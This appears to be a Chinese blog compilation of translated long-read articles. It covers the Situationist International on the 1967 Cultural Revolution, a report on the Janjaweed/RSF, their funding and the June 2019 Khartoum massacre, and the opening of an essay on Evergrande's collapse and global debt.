到了8月中旬，武装斗争已经变得如此广泛，以至于毛泽东政府已经回过头来正式谴责这种以反其道而行的手段延续政治，表示坚信坚持“用笔斗争”而不是用剑斗争，就会取得胜利，同时还宣布向“忠诚区”的群众分发武器。但所谓的忠诚区在哪里呢？在上海，几个月来一直被介绍为少有的毛主义据点之一的上海又爆发了战斗。在山东，士兵们正在煽动农民起义。空军的领导人被斥为政权的敌人。而像孙中山时代一样，47军为了重建秩序而向广州进发，广州作为反抗的灯塔脱颖而出，铁路和运输工人走在最前面：政治犯被解放了，从港口的货轮上缴获了运往越南的武器，还有数目不详的人被吊死在街头。

于是，中国慢慢地陷入了一场混乱的内战，这场内战既是分散的国家官僚权力的不同地区之间的对抗，也是工人和农民的要求与分散的官僚领导层在各地不得不维持的剥削条件之间的冲突。

由于毛派把自己说成是绝对意识形态的拥护者（我们已经看到了他们是多么成功），他们至今自然而然地在西方知识分子中得到了最奢侈程度的尊重和赞许，他们对这种刺激从来都是垂涎三尺的。

卡洛尔（K.S.Karol）在2月15日的《新观察家报》上，很有学问地提

醒毛派不要忘记，“真正的斯大林主义者不是中国潜在的盟友，而是中国最不可减少的敌人：对他们来说，文化大革命的反官僚主义倾向，是暗示着托洛茨基主义的。”

事实上，有许多托洛茨基主义者认同了它—— 从而为自己赢得了完美的正义。《世界报》是中国以外最毫无保留的毛主义报纸，它日复一日地宣布毛泽东先生即将成功，终于夺取了过去十八年来人们普遍认为属于他的权力。汉学家们，几乎都是斯大林主义-基督教徒——这种组合随处可见，但在他们中间尤其如此—— 复活了 “中国精神”，以证明新孔子的合法性。

在温和的斯大林左翼资产阶级知识分子的态度中一直存在的滑稽因素，在呈现这样的中国纪录时，很难不显露出来：这场 “文化大革命” 可能会持续一千年甚至一万年 …… 小红书终于成功地 “使马克思主义中国化” 了 …… “每一个部队都能听到男人们朗诵《毛主席语录》的声音，铿锵有力，清亮悦耳”…… “干旱没有什么可怕的，毛泽东思想就是我们的雨露” …… “国家元首被判定为负有责任 …… 因为他没有预见到蒋介石将军在他的军队与共产党军队对立时的战势”（《世界报》1967年4月4日；这是指1927年的政变，中国人人都预见到了，但为了服从斯大林的命令，只能被动地等待政变的发生…..）。

一支合唱团唱着题为《一亿人拿起武器批判罪恶的 “论共产党员的修养”》（原刘少奇的官方手册）的赞歌 …… 诸如此类的例子可以不胜枚举，我们可以用7月31日《人民日报》上的这篇文章来总结：“中国无产阶级文化大革命的形势很好，但阶级斗争越来越困难。”Situationist International, from AR October 2017 Feature Situationists

说了这么多，从这个时期可以得出的历史结论很简单。无论中国从此何去何从，最后一个革命官僚权力的形象已经破灭。它的内部崩溃加上它的外交政策的持续灾难：印尼斯大林主义的消灭、与日本斯大林主义的决裂、美国对越南的破坏，最后北京在7月宣布纳萨尔巴里起义是整个印度毛派-农民革命的开始（这是在那场起义第一次被警察干预驱散的前几天）。北京采取这样一种神志不清的立场，就与自己的大多数印度支持者决裂了—— 那可是最后一个忠于它的大官僚政党。同时，中国的内部危机也反映了中国未能实现国家工业化，未能使自己成为欠发达国家的可靠典范。

【注；纳萨尔巴里起义，1967年发生于印度西孟加拉邦大吉岭县西里古里区纳萨尔巴里警管区的农民武装起义。 主要由当地部落和被称为 “西里古里集团” 的共产主义者领导，被这一事件鼓舞的纳萨尔巴里运

动迅速从西孟加拉邦蔓延到印度其他邦，使印度共产党发生了分裂。】

意识形态，被推到极致就会破碎。它的绝对使用就是它的绝对无用：在这个夜晚，所有的意识形态疯狂都是黑色的。当在最彻底的混乱中，官僚们以同一教条的名义互相争斗，到处谴责“躲在红旗后面的资产阶级”时，双重思想本身已经一分为二。这就是意识形态谎言的欢乐结局，在嘲笑中死去。

【注：Doublethink，双重思想，宣称信仰一种观念但实际奉行另一种的双重信念；类似认知失调。这个词来自奥威尔的小说《1984》】

然而，产生这种谵妄的不仅仅是中国，而是我们整个世界。

在1961年8月的《情境主义国际》上，我们说，这个世界将“在各个层面上变得越来越痛苦可笑，直到它彻底革命重建的时刻”。这个过程现在看来已经在路上了。新时期的无产阶级批判将学会，它决不能再庇护任何与它有关的东西不受批判，每一个现存的意识形态的安逸都代表着可耻的失败。在发现它是虚伪世界的虚假商品时，它必须明白，它是对全球社会整体性的具体否定。而它在中国也会发现这一点。官僚国际在全球范围内的分裂，现在正在中国的层面上重现。因此，中国正在重新发现自己的过去，这再次向它提出了先前被战胜的运动的真正革命任务。

毛泽东据说“在1967年重新开始他在1927年所做的事”（《世界报》，1967年2月17日）的时刻，也是自1927年以来第一次工农群众涌向全国的时刻。尽管他们要意识到自己的自主目标并付诸实践可能很困难，但在中国工人所受的全面统治中，有些东西已经死亡。无产阶级的“天命”已经过期。

【注：“天命”是中国皇帝的传统统治权。当失去这一使命时，现在是时候进行一场革命，建立一个新的王朝。】

【最后】关于文化大革命后来的更详细的论述，可参见西蒙·莱斯的《The Chairman’s new clothes : Mao and the cultural revolution》。西蒙·莱斯出生于比利时布鲁塞尔，汉学家、作家和文学评论家，中文名为李克曼。

○□

原文

大屠杀的幕后推手 - iyouport

协助暴政的家伙们长读

如果不能解决因战争和新自由主义发展而流离失所的心怀不满和绝望的人口的需求，民族主义者和其他独裁者将利用这些人来推动自己的议程。

> 苏丹的军事政变部分是压制性的全球移民政策的结果 —— 更不用说武器牟取暴利了。喀土穆的抵抗委员会是抵制屠杀和暴政的唯一力量。

在全球镇压机器的另一端，在指定用于资源开采和遏制所谓的 “过剩人口” 的地区：

- 他们已经杀死了几十万人，还在继续；
- 他们用强奸作为武器，用警棍挑着被强奸者的内裤炫耀；
- 他们烧毁所有房屋和农村，在几个小时内把一个村庄夷为平地；幸存者被关押进难民营，继续遭受折磨；
- 他们抢夺金矿，盗取人民的金钱和货物、牲畜和收成；
- 他们用大量的儿童兵做人肉盾牌
- 他们屠杀抗议者，将尸体在广场焚烧，扔进河里 ……
- 沙特和阿联酋为他们提供资金和武器；
- 他们使用中国的坦克和轰炸机，中国军工厂帮助生产镇压示威者使用的弹药；
- 他们与欧盟达成伙伴关系，正在欧盟的政策下获得收益 ……

这不是一场地区性冲突，它牵连着整个世界的利害关系。

- 如果您错过了《为什么战争成为了最赚钱的生意？：新书 ~ “了解战争工业”》

2018年12月，苏丹各地劳工组织和邻里社区组织的大规模抗议和起义推翻了独裁者奥马尔·巴希尔。革命者利用古代努比亚的意象和神话，以及当代的口号和战术，表达了不同的愤怒情绪，努力摆脱过去二十年的种族和宗教冲突。

巴希尔逃离办公室后，暴动、封锁和抗议活动继续进行，反对夺取政府控制权的过渡军事委员会，承诺在2020年协调选举。

2019年初，与该军事委员会有关的准军事团体开始对喀土穆的学生抗议活动进行猛烈攻击，最终在6月3日发生了大屠杀，他们将占领者从Al-Qyada 广场赶走。作为回应，6月9日至11日的大罢工笼罩了苏丹的大部分地区。一些革命者承诺，尽管有这些游牧民准军事团体的暴力，他们仍将转入地下继续进行斗争。

今天，在世界各地，我们看到了同样的三方冲突。在美国和欧盟，这表现为埃马纽埃尔·马克龙和希拉里·克林顿这样的中间派、玛丽娜·勒庞和唐纳德·特朗普这样的极右翼煽动者、与争取解放的社会运动之间的竞争。

在北非和中东，这往往表现为巴沙尔·阿萨德和阿卜杜勒·法塔赫·塞西这样的独裁者、激进的伊斯兰团体、与寻求民主和平等主义的社会运动之间的斗争。

我们在苏丹的社会运动中看到了我们自己的斗争；我们应该尽可能地了解他们所面临的对手和产生这些对手的过程。许多人认为，沙特阿拉伯、埃及和阿联酋的政府与鼓励流血事件有牵连，苏丹现任统治者试图通过流血事件结束推翻巴希尔和占领 **Al-Qyada** 广场的社会运动。这强调了这场冲突的全球利害关系。

如果示威者在苏丹被击溃，这一打击将响彻整个中东和世界；如果他们幸存下来并坚持下去，他们将给更多的人带来希望。

以下文字翻译并改编自苏丹-法国项目 Sudfa，探讨了6月3日大屠杀背后的准军事力量金戈威德 (Janjaweed)的起源。在这个过程中，它提供了一个令人不寒而栗的视角，即：我们在美国和欧盟所经历的边境制度是如何在全球镇压机器的另一端、在指定用于资源开采和遏制所谓 “过剩人口” 的地区运作的。

这也让我们对产生能够屠杀社会运动的雇佣兵的条件有了一些了解；如果不能解决因战争和新自由主义发展而流离失所的心怀不满和绝望的人口的需求，民族主义者和其他独裁者将利用这些人来推动自己的议程。

了解更多：

- **Call for Solidarity with the Rebellious People of Sudan** —

— 有说服力的论点，说明我们为什么应该关注苏丹的反抗运动，并提供了一系列信息资源。
- **New Histories for an Uncharted Future in Sudan** —— 关于这场抗议运动的一些背景资料。

掌权的金戈威德 (Janjaweed)

「图」

1、谁是金戈威德 (Janjaweed)？

「图」

金戈威德 (Janjaweed) 的字面意思是“骑马持枪的人”。这个词出现在20世纪80年代，当时被美国和法国支持的部队驱逐出乍得的泛阿拉伯游击队逃到苏丹西部，重建他们的运动，并追求在该地区发展泛阿拉伯运动。

2003年，在达尔富尔战争开始时，苏丹解放军（SLA）向几个城市推进，挑起了一场针对安全部队的大规模种族间叛乱，奥马尔·巴希尔的政府呼吁这些阿拉伯部落阻止反叛者的推进。为此，他将这些部落的男子团体武装起来，以控制该地区并与反叛部队作战。

金戈威德来自阿拉伯部落；许多人来自苏丹境外，大部分来自乍得、尼日尔和马里。最近的一段视频显示，其中一名参与者解释说，他最初来自乍得，去也门打过仗，现在在喀土穆“解放”首都。大屠杀幸存者的各种证词证实了这一点。

苏丹人民继续称他们为“金戈威德”，尽管这个名字不被政府承认。他们的正式名称是“快速支援部队”（RSF）。

今天，政府拒绝承认它参与了快速支援部队的起源。然而，2008年后，它承认在“平定”达尔富尔地区时使用了所谓的快速支援部队，声称“制止混乱，保护人民，保护机构”。2014年，在政府努力使这些部队标准化的过程中，他们被附属于强大的NISS（国家情报和安全局）。因此，他们正式成为一支流动的准军事民兵，与国家安全局有关。

这支民兵主要来自苏丹西部的农村地区，与乍得和苏丹政府有着密切的联系。例如，乍得总统伊德里斯·代比（**Idriss Déby**）娶了穆萨·希拉勒（**Musa Hilal**）的女儿，穆萨·希拉勒是**2000**年代达尔富尔种族

大屠杀时的金戈威德首领。

穆萨·希拉勒（Musa Hilal）指导达尔富尔北部的边境情报旅，这是在边境动员的一支特殊的金戈威德部队。2008年，他还担任了苏丹联邦事务部长。他是在达尔富尔犯下暴行的象征，并因其罪行被国际刑事法院通缉。据了解，这些部队“准备充分、行动迅速、手段残忍”。

阿里·奥斯曼·塔哈于2005年至2013年担任苏丹副总统。他任命穆萨·希拉勒（Musa Hilal）为金戈威德部队的负责人，负责招募和指挥他们。

金戈威德人来自该地区的阿拉伯部落；例如，穆萨·希拉勒来自巴格拉部落（一个养牛的阿拉伯部落，因此得名）；负责监督新选举的过渡军事委员会成员赫梅蒂（穆罕默德·哈姆丹·“赫梅蒂”·达加洛）来自阿巴拉部落，这是一个养骆驼的阿拉伯部落。最初，金戈威德部队是在 Al-Misteriha 创建的，这个城市位于达尔富尔北部。「布尔汉和赫梅蒂，“血统将军”；Al-Qyada 广场大屠杀」

现任过渡军事委员会主任布尔汉（阿卜杜勒·法塔赫·阿卜杜勒拉赫曼·布尔汉）在达尔富尔担任杰贝勒马拉赫（Jebel Marra）军队的负责人时说：“我是达尔富尔人的上帝，我对他们有生杀大权”。

自2003年以来，金戈威德人一直在杀人和掠夺。没有确切的数字，但联合国称奥马尔·巴希尔对50万人的死亡负有责任。但实际数字可能比这要高得多。其他消息来源说，有300万人流离失所，还有无数人受伤。

金戈威德人将强奸作为战争武器，在袭击村庄时系统性地攻击妇女。他们烧毁所有的房屋和农场，杀死男人和儿童。他们的行动方式人人皆知：他们骑着马或坐着车来到这里，在几个小时内将一个村庄夷为平地，由军用飞机和直升飞机监督行动。

在这些袭击中，一些幸存者能够逃离，例如沿着 Wadis（溪流），躲在附近的营地里。但逃离的人经常被等待在村庄外的团体抓获。流离失所者最终被安置在全国各地的难民营中，以及城市周围的巨大棚户区中，在那里，国安局和金戈威德继续折磨他们。

金戈威德的主要受害者是富尔人，以及马萨利特人、扎格哈瓦人和其他被称为“非洲人”或“非阿拉伯人”的肤色较深的部落，他们的人口已被消灭并流离失所。金戈威德被指控对这些人口进行了种族灭绝。

2、金戈威德的资金来源是什么？

「图」

起初，他们的收入据说是采取政府直接发放工资的形式。苏丹副总统阿里·奥斯曼·塔哈曾解释说，他为快速支援部队保留了一部分政府预算。

与其他有权势的政府官员一起，阿里·奥斯曼·塔哈、艾哈迈德·哈伦和哈利法·库沙卜（在 Jebel-Al Nuba 和青尼罗河地区）是资助这些部队的三个关键人物。这个“快速支援部队”在财政和后勤上都依赖政府。

艾哈迈德·哈伦是奥贝德的现任市长和前内政部长，他帮助资助了金戈威德组织。自2018年12月以来，他威胁示威者，告诉他们金戈威德比他们更强大，并承诺进行猛烈的镇压。

他被指控向民兵下达了杀害、强奸和折磨平民的命令，并且是对达尔富尔西部村庄和城镇的多次袭击的幕后黑手，特别是对马萨利特人的屠杀。他还被指控在**2003**年夏天强迫**20,000**人流离失所，并说“所有的富尔儿童都是叛军**.....**所有的富尔人都成为了金戈威德的战利品”。

最近示威的口号之一是：“Ali Osman，你这个懦夫！”；“Nafi Ali Nafi，你是废物（ma nafi）”。示威者认为那些领导和资助金戈威德的人是不法分子，必须像巴希尔那样被打倒。

2010年后，紧缩措施使公共开支和资源急剧减少，金戈威德发现了其他收入来源，如杰贝勒阿米尔附近的达尔富尔地区的金矿。他们还在达尔富尔战争中获得了金钱：例如，在对塔维拉、科尔马和库图姆的攻击中，他们偷走了金钱和货物，以及较富裕居民的牲畜和收成。他们攻击一些地方，既是为了经济目的，也是为了进行种族清洗：某些拥有土地和牲畜的富尔人是容易的和有利的目标。

金戈威德对土地和房屋提出了要求，在他们清空的地区定居和占领。反叛运动的领导人（如苏丹解放军）正在为驱逐那些在被屠杀和流离失所的部落中定居的人而斗争。他们谴责种族置换（阿拉伯部落取代了富尔和马萨利特部落），这阻碍了非阿拉伯苏丹部落的回归，并在该地区形成了长期的亲政府偏见。

伪装成“快速支援部队RSF”的名字，并被承认为准军事部队，金戈威德也从也门的战争中获利。沙特阿拉伯向苏丹政府施压，要求其向也

门派兵参战。金戈威德部队因此被部署在也门，并从阿联酋和沙特获得资金和武器。由于他们自2016年以来对冲突的军事参与，他们在苏丹的影响力和权力大大增加。他们变得更有组织性，许多年轻人加入他们，特别是来自阿拉伯部落的年轻人。

民兵之所以能够招募，有多个因素，但主要是因为他们的工资相对较高，可以为贫困家庭提供急需的收入来源。他们通过说服家庭来招募大量的儿童兵。

因此，政府发起了一项努力，以改变RSF在媒体中的“形象”。他们任命了一位发言人，并试图将这些部队作为一支正规的国家武装力量。为此，在大城市的军营中设立了金戈威德，与军队的士兵一起，例如在尼亚拉、法希尔和扎林盖。

从也门回来后，无国界医生组织的成员说，儿童兵在苏丹部队中占40%左右。他们经常执行为期6个月的任务，之后返回苏丹，参加政府的任务。这些儿童几乎没有接受过任何训练（至少大约一个半月的基本体能和武器训练），就被派往也门前线充当人肉盾牌。这个“快速支援部队”对也门胡塞武装人口的屠杀负有责任，包括任意谋杀平民和儿童。

即使RSF只是由几个阿拉伯社区组成的，它也有一个内部的等级制度。他们被宰加特（Rizeigat）部落所控制。根据政府使用的种族主义等级制度，那些不属于这个部落的人首先被送到也门战场，并获得最低的职位。RSF的许多负责人都是宰加特人。

被称为“赫梅蒂”的穆罕默德·哈姆丹·多戈洛（Mohammed Hamdan Dogolo）被苏丹政府招募来指挥尼亚拉地区的行动；他的手下来自宰加特的阿拉伯部落，由奥马尔·巴希尔武装。他在2013年后被推上台面。巴希尔政权认为穆萨·希拉勒要求的独立性太强，于是用赫梅蒂取代了他。

分配给政府的俄罗斯和比利时武器被重新分配给民兵。自2004年以来，有几十辆中国制造的坦克和轰炸机被运入苏丹。中国在首都喀土穆周围为苏丹政府建造了武器工厂。这个工厂生产了达尔富尔战争和今天镇压示威者所用的大部分子弹和弹药。中国现在是苏丹的主要军火销售商，提供大部分的坦克、飞机和卡车。这些卡车被用来运送瓦迪萨利赫（Wadi Salih）的居民到达尔富尔，随后他们被枪杀。

在达尔富尔，金戈威德已经包围了难民营的城市。他们强奸了离开难民营的妇女，尤其是去寻找木材的妇女；他们抓捕进出难民营和城市

的男子，以便审问或威胁他们。金戈威德还充当突击队员，进入难民营，如尼亚拉旁边的卡尔马难民营，或法希尔旁边的扎姆扎姆难民营，寻找男人或武器，在袭击中散布恐怖。在流离失所者举行的示威活动中，金戈威德杀死了几十人，逮捕了几百人。一些居民在夜间失踪，在安全局的合谋下被带入监狱。

金戈威德还袭击了法希尔等大城市周围的村庄，通过越野车抵达，穿着像国家情报和安全局成员一样的棕色衣服，戴着头巾遮住脸。据了解，他们于**2014年和2015年**在达尔富尔的塔比和戈洛对妇女进行了大规模的强奸，然后谋杀受害者并将尸体丢在乱葬岗。他们烧毁了数千个村庄；联合国谈到有**3000**个村庄被 “从地图上抹去”，尽管实际数字肯定更高。

金戈威德的另一个收入来源是勒索和敲诈，包括对法希尔和喀土穆之间来往的车辆和流离失所者车队征税。如果这些车辆或车队拒绝支付，一些团体就会出面袭击他们，并偷走卡车上的产品和货物。由于这是连接西部和首都的唯一路线，司机们别无选择，只能服从。

欧盟及其成员国与苏丹达成了许多伙伴关系协议，特别是2014年名为 “喀土穆进程” 的协议，并通过2015年的新协议得到加强。在南苏丹分离后苏丹的经济危机和基本石油收入损失的情况下，欧洲机构帮助监管边境，这对喀土穆政权来说是一个巨大的福音。在边境缴获的设备和收入被指定给警察，并由同样控制利比亚边境的金戈威德捡走。赫梅蒂已经多次表示，他只是在执行欧盟 “打击人口贩运” 的政策，从而促使欧盟通过分配更多的资源来 “补偿他的努力”。

即使欧盟否认直接支持民兵，但一些报告，如 Suliman Baldo 的英文报告 “来自地狱的边境管制” 显示，欧盟提供的计算机硬件、车辆和其他设备是由金戈威德通过与警察和安全局合作获得的。欧盟依靠苏丹警察来加强东部和北部的边界，并对苏丹移民以及厄立特里亚人、埃塞俄比亚人和其他许多人的通行进行监管。2015年，瓦莱塔移民峰会 (Valletta Summit on Migration) 继续这一进程，呼吁制定计划，“[防止]非正常移徙” 和 “贩运人口”。金戈威德是在边境动员的主要力量，政府利用它来实施欧盟的政治目标，对民众和移民实施恐怖和混乱的行为。因此，金戈威德发现自己有一个特别的预算，这加强了他们的权力。

- 如果您错过了《当您准备寻求庇护 …… 移民和难民需要注意的 *10*大威胁》

3、金戈威德和在战争中操纵民族冲突的行为

「图」

根据情况，金戈威德作为一支机动部队被派往全国各地，特别是在青尼罗河、杰贝勒努巴和科尔多凡等地区，他们恐吓平民，进行抢劫、强奸、屠杀和迫害。在2013年的达马津和2018年的卡萨拉，所有这些地区的平民都因其民族血统而被“指控支持或参与反叛部队”，如苏丹解放军（SLA）、苏丹人民解放运动（SPLM）或正义与平等运动（JEM）。例如，青尼罗州的居民被指控属于苏丹人民解放运动，只因为苏丹人民解放运动首领马利克·阿加尔来自该地区。

政府利用金戈威德来强调所谓的“阿拉伯”部落和所谓的“非洲”部落之间的划分，这种划分起源于1980年代农民和游牧民之间的地方冲突。政府一直在政治上操纵这种种族划分，以使其权力合法化并得到加强。

喀土穆大屠杀

「图」

2018年12月的动员会导致巴希尔下台，这是金戈威德首次大量进入喀土穆，镇压示威活动和占领 Al-Qyada 广场。金戈威德的负责人赫梅蒂被任命为军事委员会副主席，由布尔汉主持。

起初，他保持了相当的沉默，一部分苏丹人民对他的提名保持乐观，因为他在武装冲突地区之外并不出名。但在几个星期后，他暴露了自己，命令他的部队用武力恐吓和驱散 Al-Qyada 广场的示威者。

赫梅蒂和他的手下与城市青年，特别是喀土穆的中产阶级青年没有任何联系；他的部队大多来自农村环境，没有什么机会上学。从最近的袭击事件中可以看出这种差距。对他们中的一些人来说，这是他们第一次来到城市或看到智能手机；他们在首都的照片是在儿童公园里玩耍，在实施屠杀后在街上跳舞唱歌。

5月，金戈威德的某些孤立的团体试图驱逐广场，但由于示威者的路障和组织，没有成功。5月13日，他们杀死了四名示威者，并用子弹打伤了大约三十人。示威者清楚地指认袭击者是金戈威德。

这些事件发生后，军事委员会主席布尔汉承诺对负责谋杀的金戈威德成员进行“公开调查”。但安全部队随后任意逮捕了六名达尔富尔士兵，要求他们在国家电视台上认罪，并将他们监禁起来，尽管其中一些被捕者在袭击发生时并不在附近。许多人在社交媒体网络上愤怒地

谴责了这种欺骗行为。

在广场的入口处，特别是在5月25日前后，金戈威德组织的成员还发动了其他几次袭击；他们杀死了许多人，打伤和逮捕了其他人。政府正式承认了这些袭击，但为其辩护。

6月3日，即斋月的第29天，金戈威德的车辆纵队与安全局的汽车一起进入首都，将顽抗的警察和军队赶走。他们代表着从苏丹所有地区派往首都的10,000多名成员的车队。

他们在早上6点左右开始向人群开枪，烧毁广场上的帐篷，逮捕示威者，并将示威者扔进皮卡车。金戈威德利用喀土穆大学和清真寺的建筑，将人们关押了三天，对他们进行殴打和折磨。一些人由于这种可怕的拘留条件而死亡。一些在这三天拘留中幸存下来的人就他们所遭受的待遇提供了令人心寒的证词。

还有许多人被子弹打死或打伤；卫生部承认6月3日有61人死亡，而可靠的消息来源报告说有超过100人死亡，包括19名儿童。金戈威德强奸了几十名妇女，并试图强奸另外几十名妇女。视频被张贴在社交媒体网络上。流传的一张照片显示，一名武装人员用他的警棍挑着他刚强奸了的妇女的内裤，就像战争的战利品。

据 Al-Qyada 广场的人说，一些尸体在那里被直接烧毁，另一些被扔进了尼罗河。在这一周结束时，尸体浮出水面，示威者尽其所能打捞尸体并将其埋葬。在乌姆杜尔曼和喀土穆的居民中，总共有500多人受伤，其中包括许多被殴打的人，被袭击的人，被扔在街道中间的人。那些在枪林弹雨中试图帮助被袭击者的好心人也被残酷地击倒。

金戈威德进入喀土穆和乌姆杜尔曼的其他街区，随意攻击平民。他们摧毁了商店、药店和汽车。流弹将一些人打死在自己的家里。

金戈威德进入医院，殴打医生，威胁医生说如果他们治疗示威者就会被处死，并强奸妇女和殴打伤员。金戈威德逮捕了反对派，包括苏丹人民解放军一个分支的领导人亚西尔·赛义德·阿尔曼。苏丹专业协会办公室的成员从那时起就一直在躲藏。

屠杀发生后的第二天，军事委员会宣布与苏丹专业协会的谈判到此为止的所有协议和成果无效，并暂停了所有进一步的谈判。他们宣布将在2020年举行选举 —— 如果所谓的选举由布尔汉和赫梅德控制，我们都知道结果是什么。

苏丹人继续示威，封锁路线和道路，竖起路障，燃烧轮胎；首都是内战的现场。

截至6月7日，官方统计的死亡人数已达111人，受伤人数超过500人。金戈威德的领导人赫梅德厚颜无耻地发表了一个怪诞的演讲，他在演讲中宣称：

“快速支援部队对这些事件没有任何责任。是一群穿得像快速支援部队的平民开着他们的车，袭击了示威者。我发誓，我们的部队没有杀害任何人”。

以所谓的“快速支援部队”命名以掩饰自己的金戈威德，从此把握了整个国家。他们是一支强大的力量，无法控制，嗜血成性。经过20年的时间，金戈威德已经习惯于使用残酷的武力来屠杀大量的平民。这支民兵由海湾国家和欧盟资助，构成了苏丹即将发生的内战的威胁。○

“One would be hard put to find an early state that did not enlist nonstate peoples—sometimes wholesale—in their armies, to catch runaway slaves, and to repress revolts among their own restive populations. ‘Barbarian’ levies had as much to do with building states as with plundering them. By systematically replenishing the state’s manpower base by slaving and by protecting and expanding the state with its military services, the barbarians willingly dug their own grave.”

-James C. Scott, Against the Grain: A Deep History of the Earliest States

Les Janjawids au pouvoir

原文

大崩溃-- 从中国的恒大地产开始 - iyouport

关于中国社会长读

围绕中国房地产市场和恒大的崩溃，真正要问的问题并不是 "这将在中国产生" 啥影响，因为，这不可能与更广泛的影响分开。

危机的背景

「图」

随着房地产企业集团恒大濒临破产，人们将注意力放在了中国的房地产市场上，这个市场的价值估计约为52万亿美元或更多。

从这个角度来看，恒大持有的债务与雷曼兄弟破产时持有的债务一样多，甚至更多—— 那就是触发2008年经济危机的原因。然而，与雷曼兄弟的资产分散在整个市场上不同，恒大的破产集中在一个行业上，这从实质上放大了影响，并使这种影响无法被其他市场垂直部门吸收。

在这种规模的崩溃中，由于影响集中，而且外国银行在该公司的投资额巨大，债务违约可能对全球经济产生大规模影响。

但是，为了理解正在发生的事、为什么会发生、以及这可能意味着什么，我们必须在一个更广泛的背景下解读这一情景。这意味着要扩大我们的视野，超越大多数新闻报道对这一事件的限制（因为这些报道往往*局限于*该公司及其与中国的关系），并开始考虑到不仅是今天的全球经济形势，而且还有过去40年的经济历史。

从这个角度来看，这不仅仅是一个由不负责任的支出造成的债务违约，就像人们通常习惯于所描述的那样，而是，一个由股票市场内一个明显的趋势所驱动的场景，这种趋势基于资产价值与其基础对象之间更广泛的分离。

几十年来，股票价值和金融化之间的相互作用已经形成了大部分的经

济。我们将在后面更多的讨论这个问题，但是美国在1970年代为应对经济停滞而采用的经济方法，为债务的大规模膨胀创造了条件。

这种债务是以新的贷款形式产生的，如信用卡，但也以企业债务和抵押贷款的形式存在。企业债务是为了让公司购买其他公司或提高自己的股票价值，这使股票与相关公司的价值脱钩，使它们本身成为一种资产。产生的大部分消费者债务被打包成衍生品投资工具，其中许多是用购买衍生品的一方借来的钱购买的。随着债务变得越来越普遍，限制变得越来越少，债务和资产价值开始互动。

随着债务的产生，例如以抵押贷款的形式，就会产生需求。越多的人可以获得抵押贷款，对住房的需求就越大。获得债务的机会的扩大推动了这些资产的价格上涨。这时出现的情况是，房主们被鼓励，而且往往是根据新的、更高的房屋价值来进行再融资抵押贷款或股权贷款，在还清原始贷款后，产生收入。

整个20世纪90年代的信息广告都在告诉房主把他们的房子当作银行。然而，在某些时候，鉴于工资下降的状况，债务额变得不可持续，因此对住房的需求也随之下降。这就造成了需求的缺乏，房价的下跌，以及越来越多的违约。

随着人们拖欠贷款，银行开始收紧贷款条件并提高利率，这导致更多的违约。最终，这开始影响到贷款人和衍生资产持有人本身，这就是经济最终崩溃的地方，在这种经济方式崩溃导致的一系列破产中。

在这里，让我们把2008年金融危机的例子考虑进去。在危机的开始阶段，金融机构的破产并不是资产贬值的结果。相反，这是一个更根本的危机，在整个经济领域，资产根本无法被赋予价值。在衍生品中，特别是债务支持的衍生品，资产是一个机构已经提供的一揽子贷款。当购买衍生品时，您购买的资产与有关这些贷款是否会导致全额支付利息的猜测有关。当房主无法偿还抵押贷款时，这会影响对未来进行投机的能力。

推测资产回报能力的中断，在一段时间内，推动了该资产的价格下跌。对于许多机构来说，这些资产也是作为抵押品来借钱的，当这些资产的价格下跌时，就需要有更多的资产作为同一贷款的抵押品。价值的下降限制了信贷市场，由于不愿放贷，导致了更多的违约。最终，这达到了一个临界点，围绕价值的核心问题开始出现，就像在2008年那样。由于这些问题，这些在美国交易所交易的总资产中占很大比重的资产，根本不可能为这些衍生资产定价。

当这些资产无法估价时，这给主要的金融机构造成了流动性危机。由于无法对资产进行定价，它就不能被出售或用作贷款的抵押品。这些资产的消除迫使其中一些机构（如雷曼兄弟）陷入无法再借钱的境地，但也无法偿还其未偿债务，导致破产。随着这些第一批破产事件的发生，它引起了信贷市场的大规模收缩，使借贷更加困难和昂贵，反过来迫使更多的机构破产。

在中国住房市场的背景下，我们现在看到了非常类似的动态，就像十年前美国的情况一样，达到了一个顶点。然而，现在和那时有一个很大的区别：经济不太可能调动资源来防止再次发生系统性的崩溃。我们正处于一个危险的时刻，处于崩溃的边缘，所有的动力都在推动我们越来越接近自由落体。

这在微观经济规模上很容易看到：驱逐已经达到了普遍的悲惨程度，工人们要么拒绝上班，要么冒着死亡的危险来换取工资，商品的价格在不断变化，如果东西还可以买得到的话。

我们都可以清楚地看到被废弃的店面，被关闭的餐馆，拖欠房租数月的朋友。世界上大部分地区都是这种情况，和其他地方一样，这场明显的危机的影响正在被政府开支、企业债务和经济补贴所缓解。不幸的是，对于那些希望资本主义继续存在的人来说，这些机制正开始遇到一些合理的经济限制，其中许多限制在大流行病之前就已经开始，并在过去一年半里加速了。

围绕大流行病的当代经济形势的框架充其量只是一种部分解释。它依靠的是对异常情况的坚持 —— 认为这些动态只是一个不可预见的事件破坏了原本稳定的经济形势的结果。然而，这种框架忽略了大流行病开始时就已经存在的经济动态，这些动态已经有了债务危机的趋势，并且把这种情况误认为是从虚无中出现的。

肯定有明确的、可证明的影响，我们可以将其归因于这一大流行病。这一点是毋庸置疑的。然而，我们不能脱离经济历史来思考大流行病的这些影响，或者从更直接的意义上说，在大流行病发生时的全球经济趋势。许多在当前汇聚在一起的动态，以及现在被大流行病加速的动态，都是几十年来放松管制和国际经济金融化的结果，更直接的原因在2008年崩溃的过程中已经显而易见。

为了理解恒大事件，理解危机的背景，以及它如何与更广泛的全球动态相互作用，我们必须把全球经济和这个地方的微观世界看作是一种相互作用的关系。

恒大是一家大型企业，有大量的外国投资者和足够大的投资组合，如果公司真的崩溃，就会产生系统性风险。因此，恒大并不纯粹是一个中国本地现象。外国投资的盛行，加上中国经济对外贸的依赖，产生了这样一种背景：像这样的公司倒闭可能导致全球数十亿美元的资本损失，而全球贸易动态也反过来对中国经济以及作为国有经济体的政府政策产生巨大影响。

所有这一切都发生在这样一种情况下，即 政府的债务达到了极限，而大量的流动资本以消费者和企业补贴的形式被投入市场，从而防止了直接崩溃的感觉。如果没有世界各国政府以贷款计划和消费者补贴的形式向市场注入大量流动资本，消费需求早就下降了，从而引发一场大规模的国际危机。

相反，这种支出导致了一个不同的现实。在大流行病中，经济停滞不前，而不是崩溃，但当初造成这种不稳定性的条件现在重新出现，如果发生危机，将威胁到全球市场的自我稳定能力。

因此，了解恒大就是了解全球经济动态和历史，而掌握这段当代历史就是了解恒大的因素。这两种动力不能分开，否则会大大限制相关分析。

一个熟悉的故事

「图」

